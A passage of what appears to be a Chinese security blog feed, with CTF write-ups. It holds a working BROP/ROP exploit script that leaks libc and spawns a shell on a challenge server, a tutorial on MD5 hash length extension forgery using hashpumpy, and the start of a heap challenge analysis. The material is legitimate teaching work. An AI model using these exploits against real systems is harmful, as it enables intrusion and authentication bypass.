fd = open(&quot;elf.bin&quot;,&#x27;wb&#x27;)</span></span><br><span class="line">fd = <span class="built_in">open</span>(<span class="string">&quot;elf.bin&quot;</span>,<span class="string">&#x27;ab&#x27;</span>)</span><br><span class="line"><span class="keyword">while</span> index &lt; <span class="number">0x601000</span>:</span><br><span class="line">    log.info(<span class="string">&quot;now we have index &quot;</span>+<span class="built_in">hex</span>(index))</span><br><span class="line">    ph = remote(<span class="string">&quot;120.77.155.249&quot;</span>,<span class="number">10001</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    msg, length = dump_data(index, ph)</span><br><span class="line">    <span class="keyword">if</span> index % <span class="number">0x500</span> == <span class="number">0</span>:</span><br><span class="line">        log.info(<span class="string">&quot;now index is &quot;</span> + <span class="built_in">hex</span>(index))</span><br><span class="line">        tmp = <span class="built_in">open</span>(<span class="string">&quot;address.txt&quot;</span>,<span class="string">&quot;w&quot;</span>)</span><br><span class="line">        tmp.write(<span class="built_in">str</span>(index))</span><br><span class="line">        tmp.close()</span><br><span class="line">    <span class="keyword">if</span> length == <span class="number">0</span>:</span><br><span class="line">        data = <span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">        index += <span class="number">1</span></span><br><span class="line">    <span class="keyword">else</span>: </span><br><span class="line">        data = msg</span><br><span class="line">        index += length</span><br><span class="line">    fd.write(data)</span><br><span class="line">    fd.close()</span><br><span class="line">    fd = <span class="built_in">open</span>(<span class="string">&quot;elf.bin&quot;</span>,<span class="string">&#x27;ab&#x27;</span>)</span><br><span class="line"></span><br><span class="line">fd.write(data)</span><br><span class="line">fd.close()</span><br></pre></td></tr></table></figure><p>这里提一个小trick，因为elf文件里面存在很多<code>\x00</code>，用puts去读出的时候会阶段，所以这里如果我们发现读出的字符串长度为1的时候，直接给data赋值’\x00’</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> length == <span class="number">0</span>:</span><br><span class="line">    data = <span class="string">&#x27;\x00&#x27;</span></span><br><span class="line">    index += <span class="number">1</span></span><br></pre></td></tr></table></figure><p>最后算是成功了，但是发现elf有点不完整（可能是因为index取值有问题？）所以运行不起来有点难受。但是主要的攻击手段也是有了的。此时我们知道了puts函数的地址，并且把puts函数的.plt.got表给dump下来了，并且题目已经给了提示是Ubuntu16.04。那么我们连leak的功夫都省去了，直接进行攻击即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#   -*- coding:utf-8  -*-</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> base64</span><br><span class="line"></span><br><span class="line">padding = <span class="string">&quot;a&quot;</span>*<span class="number">120</span></span><br><span class="line">gadget_addr = <span class="number">0x4007ba</span></span><br><span class="line">pop_rdi_ret = gadget_addr + <span class="number">9</span></span><br><span class="line">pip_rsi_pop_r15 = gadget_addr + <span class="number">6</span></span><br><span class="line">puts_got = <span class="number">0x601018</span></span><br><span class="line">read_got = <span class="number">0x601028</span></span><br><span class="line">puts_plt = <span class="number">0x400560</span></span><br><span class="line">libc = ELF(<span class="string">&quot;libc-2.23.so&quot;</span>)</span><br><span class="line">system_addr = libc.symbols[<span class="string">&quot;system&quot;</span>]</span><br><span class="line">read_addr = libc.symbols[<span class="string">&#x27;read&#x27;</span>]</span><br><span class="line">bin_sh_addr = <span class="number">0x18CD17</span></span><br><span class="line">puts_addr = libc.symbols[<span class="string">&#x27;puts&#x27;</span>]</span><br><span class="line"></span><br><span class="line">ph = remote(<span class="string">&quot;120.77.155.249&quot;</span>, <span class="number">10001</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak_addr</span>(<span class="params">ph</span>):</span><br><span class="line">    exp = padding</span><br><span class="line">    exp += p64(pop_rdi_ret) + p64(read_got) + p64(puts_plt) + p64(<span class="number">0x4006b6</span>)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    msg = ph.recv(<span class="number">6</span>)</span><br><span class="line">    <span class="built_in">print</span> msg</span><br><span class="line">    <span class="comment"># return base64.standard_b64encode(msg)</span></span><br><span class="line">    addr = u64(msg[:<span class="number">6</span>] + <span class="string">&#x27;\x00\x00&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> addr</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">leak</span>(<span class="params">addr</span>):</span><br><span class="line">    exp = padding</span><br><span class="line">    exp += p64(pop_rdi_ret) + p64(addr) + p64(puts_plt) + p64(<span class="number">0x4006B6</span>)</span><br><span class="line">    ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    msg = ph.recvrepeat(<span class="number">12</span>).strip()</span><br><span class="line">    log.info(<span class="string">&quot;%#x =&gt; %s&quot;</span> %(addr,base64.standard_b64encode(msg)))</span><br><span class="line">    <span class="keyword">return</span> msg</span><br><span class="line"></span><br><span class="line">main = <span class="number">0x4006B6</span></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    read_real_addr = leak_addr(ph)</span><br><span class="line">    log.success(<span class="string">&quot;gets read address &quot;</span>+ <span class="built_in">hex</span>(read_real_addr))</span><br><span class="line">    libc_addr = read_real_addr - read_addr</span><br><span class="line">    system_real_addr = libc_addr + system_addr</span><br><span class="line">    log.success(<span class="string">&quot;system address is &quot;</span>+<span class="built_in">hex</span>(system_real_addr))</span><br><span class="line">    bin_real_addr = libc_addr + bin_sh_addr</span><br><span class="line"></span><br><span class="line">    <span class="comment"># Let&#x27;s pwn it !</span></span><br><span class="line">    exp = padding</span><br><span class="line">    exp += p64(pop_rdi_ret) + p64(bin_real_addr) + p64(system_real_addr)</span><br><span class="line">    <span class="built_in">print</span> ph.recvuntil(<span class="string">&quot;me?\n&quot;</span>)</span><br><span class="line">    ph.sendline(exp)</span><br><span class="line">    <span class="built_in">print</span> <span class="string">&quot;send exp&quot;</span></span><br><span class="line">    ph.interactive()</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>一路上学到了不少的东西啊感觉。。。</p><p>参考博客:<br><a href="http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/">http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/</a><br><a href="http://bestwing.me/2017/03/24/stack-overflow-four-BROP/">http://bestwing.me/2017/03/24/stack-overflow-four-BROP/</a></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;混入某招新赛偷偷学习了这个技术 : )，好吧其实我觉得BROP这个技术好神奇&lt;/p&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="ROP" scheme="https://showlinkroom.me/tags/ROP/"/>
    
  </entry>
  
  <entry>
    <title>Length Extension Attack</title>
    <link href="https://showlinkroom.me/2017/11/05/Length-Extension-Attack/"/>
    <id>https://showlinkroom.me/2017/11/05/Length-Extension-Attack/</id>
    <published>2017-11-05T15:49:33.000Z</published>
    <updated>2020-07-16T13:31:30.389Z</updated>
    
    <content type="html"><![CDATA[<p>其实本人对密码学还是有点兴趣的(?)，但是之前并没有记录下之前对于一些密码学攻击的研究，这里还是一点点积累吧</p><h2 id="more-length-extension-attack-哈希长度扩展攻击"><span id="more"></span><br>Length Extension Attack – 哈希长度扩展攻击</h2><h2 id="背景">背景</h2><p>hash函数一般来说是用来<strong>签名</strong>的。比如说，如果我们需要使用一个登陆验证的时候，我们可以使用下面的代码</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def genMac(name):</span><br><span class="line">    Mac = hashlib.md5(name).hexdigest()</span><br><span class="line">    return Mac</span><br></pre></td></tr></table></figure><p>其中Mac(message authentication code),也就是身份认证码。我们将这个Mac交给用户，然后下一次登陆的时候，我们将会利用上面的Mac进行比较，确定是否是同一个登陆:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">def checkAuth(name, mac):</span><br><span class="line">    CheckMac = hashlib.md5(name).hexdigest()</span><br><span class="line">    if mac == CheckMac:</span><br><span class="line">        return True</span><br><span class="line">    return False</span><br></pre></td></tr></table></figure><p>那么很多人都会想到说，<strong>这个md5我们本地生成一个就好啦</strong>，于是服务器端一般会藏一个secret字符串在服务器，让md5的生成规则不被用户了解:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">def genMac(name):</span><br><span class="line">    Mac = hashlib.md5(secret+name).hexdigest()</span><br><span class="line">    return Mac</span><br></pre></td></tr></table></figure><p>也就是说这个时候，如果我们不知道服务器端的secret字符串，理论上是没有办法生成我们指定名字的Mac，比如说</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">def genMac(name):</span><br><span class="line">    if name == &quot;root&quot;:</span><br><span class="line">        print(&quot;you have no permision&quot;)</span><br><span class="line"></span><br><span class="line">    Mac = hashlib.md5(secret+name).hexdigest()</span><br><span class="line">    return Mac</span><br></pre></td></tr></table></figure><p>这个时候，没有办法生成root的Mac。然后管理员的登陆的确认逻辑变为:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">def checkRoot(name, mac):</span><br><span class="line">    CheckMac = hashlib.md5(secret+name).hexdigest()</span><br><span class="line">    if mac == CheckMac and name.find(&#x27;root&#x27;)&gt;=0:</span><br><span class="line">        return True</span><br><span class="line">    return False</span><br></pre></td></tr></table></figure><p>这个时候，由于不知道secret，我们就不能够伪造root的Mac值。不过这个可以注意到，这里对于name的判断只是判断其是否包含root，这个地方就暗示此处有可以利用的地方。</p><h2 id="md5类hash函数的原理">MD5类hash函数的原理</h2><p>网上搜索了一下，MD5，SHA1，SHA2这类算法都属于一种叫做<strong>Merkle–Damgård结构</strong>的哈希函数，也就是<strong>抗冲突加密散列函数</strong>，总的来说，这个结构的函数的特征有:</p><ul><li>按照block划分，并且在结尾存在padding表示长度</li><li>对于长度不足的block用标志位进行填充</li><li>长度过长的时候，会迭代进行加密(待考证)</li></ul><p>这里我们先研究MD5中的哈希长度扩展攻击，所以简单介绍MD5的加密过程以及部分攻击相关的细节。</p><h3 id="md5加密逻辑">MD5加密逻辑</h3><p>准备材料:</p><ul><li>8bit的四个寄存器ABCD</li><li>需要处理的明文</li></ul><p>处理过程:</p><p><em>这里主要不是介绍MD5加密，所以省略了大部分的MD5加密细节（比如说，在一轮加密结束之后，会发生寄存器值的交换，但是这里没有展现出来）。这里我们着重介绍对攻击有效的部分</em><br>在一开始的时候，ABCD四个寄存器会被初始化成不同的整数，然后进行类似下列的加密:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|      A       |      B       |      C       |      D       |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">|                     非线性函数F                            |&lt;------| 我们的输入明文按照512bit划分的block|</span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       v              v              v               v         </span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|      A       |      B       |      C       |      D       |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br></pre></td></tr></table></figure><p>从图中我们能够指导，MD5加密<strong>是一个迭代的过程</strong>。</p><ul><li>首先ABCD通过非线性函数和我们输入的明文block进行加密，得到四个不同的数字</li><li>将四组数字重新放回到到四个寄存器中</li><li>如果我们输入的字符串长度大于512bit的时候，其就会将第一轮计算得到的ABCD作为递归开始的ABCD</li><li>反复进行上面123步骤，直到我们输入的字符串长度到头为止。</li></ul><p>最后将得到的ABCD连接，就能够得到加密完成的hash值。</p><h3 id="padding的选择">Padding的选择</h3><p>当我们的输入比较短，比如说是<strong>secretdata</strong>，那么此时的输入只有10个字节，也就是80bit，那么此时MD5会用以下的填充规则进行填充:</p><ul><li>首先在结尾跟上一个\x80，表示这之后是padding</li><li>在56字节之后，最后的8个字节用来记录<strong>有效输入字符串的bit数</strong></li></ul><p>因此，对于字符串<strong>secret</strong>，得到的结果应该如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......</span><br><span class="line">0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......</span><br></pre></td></tr></table></figure><p>其中0x50 == 80,正好就是当前填入的有效bit数。</p><h2 id="攻击-攻击原理">攻击 – 攻击原理</h2><p>攻击的最根本的原理就在之前提到的<strong>迭代处理</strong>上。我们处理一下当前手上能够得到的信息</p><ul><li>我们能够得到的mac是hash(secret+data)，其中data是我们自己输入的。</li><li>MD5的加密中，ABCD寄存器中的值才是hash值本身</li><li>在处理过相同的内容的时候，得到的ABCD的值是相等的</li></ul><p>我们的目的是</p><ul><li>得到hash(secret+data+root)的内容(由于判断是find(‘root’)&gt;=0,也就是说不一定要从root开始，前面可以填充不同的内容)</li></ul><p>那么，首先想到，如果我们输入的内容是data，那么程序就会将其拼接成</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......</span><br><span class="line">0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......</span><br></pre></td></tr></table></figure><p>那么，在进行MD5加密的时候，加密结束的时候得到的值就会是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|      A       |      B       |      C       |      D       |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">|                     非线性函数F                            |&lt;------|       secretdata + padding       |</span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       v              v              v               v         </span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|     A1       |     B1       |     C1       |      D1      |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br></pre></td></tr></table></figure><p>得到的hash值就是A1B1C1D1组合而成的。从另一个角度来说，A1B1C1D1表示的是<strong>当前上下文的状态</strong>。于是，<strong>如果我们此时能够构造出下列的情况:</strong></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|     A1       |     B1       |     C1       |      D1      |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">       |              |              |               |        </span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">|                     非线性函数F                            |&lt;------|          root + padding          |</span><br><span class="line">+--------------+--------------+--------------+--------------+       +----------------------------------+</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       |              |              |               |</span><br><span class="line">       v              v              v               v         </span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br><span class="line">|      A2      |       B2     |      C2      |       D2     |</span><br><span class="line">+--------------+--------------+--------------+--------------+</span><br></pre></td></tr></table></figure><p>那么这个时候，A2B2C2D2就是一个<strong>包含了secret和root</strong>的hash值。此时完全不需要知道secret的具体内容！</p><h2 id="攻击-数据伪造">攻击 – 数据伪造</h2><p>这个地方最关键的就是伪造数据。由于Padding的存在，使得我们可以通过<strong>合理增加padding，让关键字符串落在下一段block中</strong>的方式，利用上下文。<br>以上述例子为例，</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......</span><br><span class="line">0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......</span><br></pre></td></tr></table></figure><p>此处是服务器上MD5算法中见到的字符，我们为了满足这个形式，可以主动<strong>将第一段数据填充够56字节</strong>，形成一个和第一次hash同样的值，然后第二次的时候，我们将我们需要的值放在数据的尾部</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0000  73 65 63 72 65 74 64 61 74 61 80 00 00 00 00 00  secretdata......</span><br><span class="line">0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0030  00 00 00 00 00 00 00 00 50 00 00 00 00 00 00 00  ........P.......</span><br><span class="line">0040  61 70 70 65 6e 64                                append</span><br></pre></td></tr></table></figure><p>这样的形式就能够形成我们需求的形式。然后，由于secret在服务器端，那么客户端上构造的字符串就应该是长这个样子的:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0000  64 61 74 61 80 00 00 00 00 00 00 00 00 00 00 00  data............</span><br><span class="line">0010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................</span><br><span class="line">0030  00 00 50 00 00 00 00 00 00 00 61 70 70 65 6e 64  ..P.......append</span><br></pre></td></tr></table></figure><p>（倒也没有说是64字节对齐，只是数据secret和append相等罢了）</p><p>也就是说，攻击形式是:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">发送data --&gt; 得到包含secret的hash --&gt; 构造数据，造成第一次加密完全相等的形式，并且在尾部添加字符串 --&gt; 计算hash --&gt;通过发送构造字符串和hash通过验证，完成攻击</span><br></pre></td></tr></table></figure><h2 id="工具的使用">工具的使用</h2><p>这个东西构造还是蛮麻烦的，python里面直接就有一个库叫做<code>hashpumpy</code>可以用，用法如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">hashnum = hashlib.md5(secret+&#x27;data&#x27;).hexdigest() # 假设生成了一个hashnum用作Mac</span><br><span class="line">(token,fake) = hashpumpy.hashpump(hashnum, &#x27;data&#x27;,&#x27;root&#x27;,len(&#x27;data&#x27;)) # 参数为(传入data时候得到的hash值，data本身，需要输入的数据，比如name data的长度)</span><br></pre></td></tr></table></figure><p>其生成的token即为包含了data和root的hash值，而fake则是包含了root的数据。</p><h2 id="后记">后记</h2><p>可能因为看英文会一个一个字去看，最近只有看英文的blog才能够学的到东西(汗)，果然还是得静下心来看东西才行。</p><p>大部分的数据都来自参考博客<br>参考博客<br>(<a href="https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks">https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks</a>)[<a href="https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks">https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks</a>]</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;其实本人对密码学还是有点兴趣的(?)，但是之前并没有记录下之前对于一些密码学攻击的研究，这里还是一点点积累吧&lt;/p&gt;
&lt;h2 id=&quot;more-length-extension-attack-哈希长度扩展攻击&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="Crypto" scheme="https://showlinkroom.me/categories/Crypto/"/>
    
    
    <category term="crypt attack" scheme="https://showlinkroom.me/tags/crypt-attack/"/>
    
  </entry>
  
  <entry>
    <title>pwnable-applestore</title>
    <link href="https://showlinkroom.me/2017/10/29/pwnable-applestore/"/>
    <id>https://showlinkroom.me/2017/10/29/pwnable-applestore/</id>
    <published>2017-10-29T15:10:05.000Z</published>
    <updated>2020-07-16T13:31:30.396Z</updated>
    
    <content type="html"><![CDATA[<p>最近突然之间对pwn来了兴致，继续学习一下好了</p><h2 id="more-applestore-200-pts"><span id="more"></span><br>applestore[200 pts]</h2><p>首先打开程序，发现是一个购买东西的界面:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line">=== Menu ===</span><br><span class="line">1: Apple Store</span><br><span class="line">2: Add into your shopping cart</span><br><span class="line">3: Remove from your shopping cart</span><br><span class="line">4: List your shopping cart</span><br><span class="line">5: Checkout</span><br><span class="line">6: Exit</span><br><span class="line">&gt; 1</span><br><span class="line">=== Device List ===</span><br><span class="line">1: iPhone 6 - $199</span><br><span class="line">2: iPhone 6 Plus - $299</span><br><span class="line">3: iPad Air 2 - $499</span><br><span class="line">4: iPad Mini 3 - $399</span><br><span class="line">5: iPod Touch - $199</span><br><span class="line">&gt; 2</span><br><span class="line">Device Number&gt; 1</span><br><span class="line">You&#x27;ve put *iPhone 6* in your shopping cart.</span><br><span class="line">Brilliant! That&#x27;s an amazing idea.</span><br><span class="line">&gt; 3</span><br><span class="line">Item Number&gt; 1</span><br><span class="line">Remove 1:iPhone 6 from your shopping cart.</span><br><span class="line">&gt; 4</span><br><span class="line">Let me check your cart. ok? (y/n) &gt; y</span><br><span class="line">==== Cart ====</span><br><span class="line">&gt; 1</span><br><span class="line">=== Device List ===</span><br><span class="line">1: iPhone 6 - $199</span><br><span class="line">2: iPhone 6 Plus - $299</span><br><span class="line">3: iPad Air 2 - $499</span><br><span class="line">4: iPad Mini 3 - $399</span><br><span class="line">5: iPod Touch - $199</span><br><span class="line">&gt; 5</span><br><span class="line">Let me check your cart. ok? (y/n) &gt; y</span><br><span class="line">==== Cart ====</span><br><span class="line">Total: $0</span><br><span class="line">Want to checkout? Maybe next time!</span><br><span class="line">&gt; </span><br><span class="line"></span><br></pre></td></tr></table></figure><p>我们从IDA中，也能够看到类似的内容。其大致就是一个购买iPhone 的程序，然后我们看到程序逻辑:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Phone *__cdecl <span class="title function_">insert</span><span class="params">(Phone *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  Phone *result; <span class="comment">// eax</span></span><br><span class="line">  Phone *i; <span class="comment">// [esp+Ch] [ebp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">for</span> ( i = &amp;myCart; i-&gt;next; i = (Phone *)i-&gt;next )</span><br><span class="line">    ;</span><br><span class="line">  i-&gt;next = (<span class="type">int</span>)a1;</span><br><span class="line">  result = a1;</span><br><span class="line">  a1-&gt;before = (<span class="type">int</span>)i;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>从这里我们能够知道，这个Phone对象是一个双重指针，每一个Phone对象都会以指针的形式丢在<strong>myCard</strong>这个全局变量上。然后，这个Phone对象不出所料的是一个chunk:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">Phone *__cdecl <span class="title function_">create</span><span class="params">(<span class="type">char</span> *a1, <span class="type">int</span> a2)</span></span><br><span class="line">&#123;</span><br><span class="line">  Phone *v2; <span class="comment">// eax</span></span><br><span class="line">  Phone *v3; <span class="comment">// ST1C_4</span></span><br><span class="line"></span><br><span class="line">  v2 = (Phone *)<span class="built_in">malloc</span>(<span class="number">0x10</span>u);</span><br><span class="line">  v3 = v2;</span><br><span class="line">  v2-&gt;price = a2;</span><br><span class="line">  asprintf((<span class="type">char</span> **)v2, <span class="string">&quot;%s&quot;</span>, a1);              <span class="comment">// 会在v2处申请一个足够大的空间来存放字符串（需要用到free来释放空间）</span></span><br><span class="line">  v3-&gt;next = <span class="number">0</span>;</span><br><span class="line">  v3-&gt;before = <span 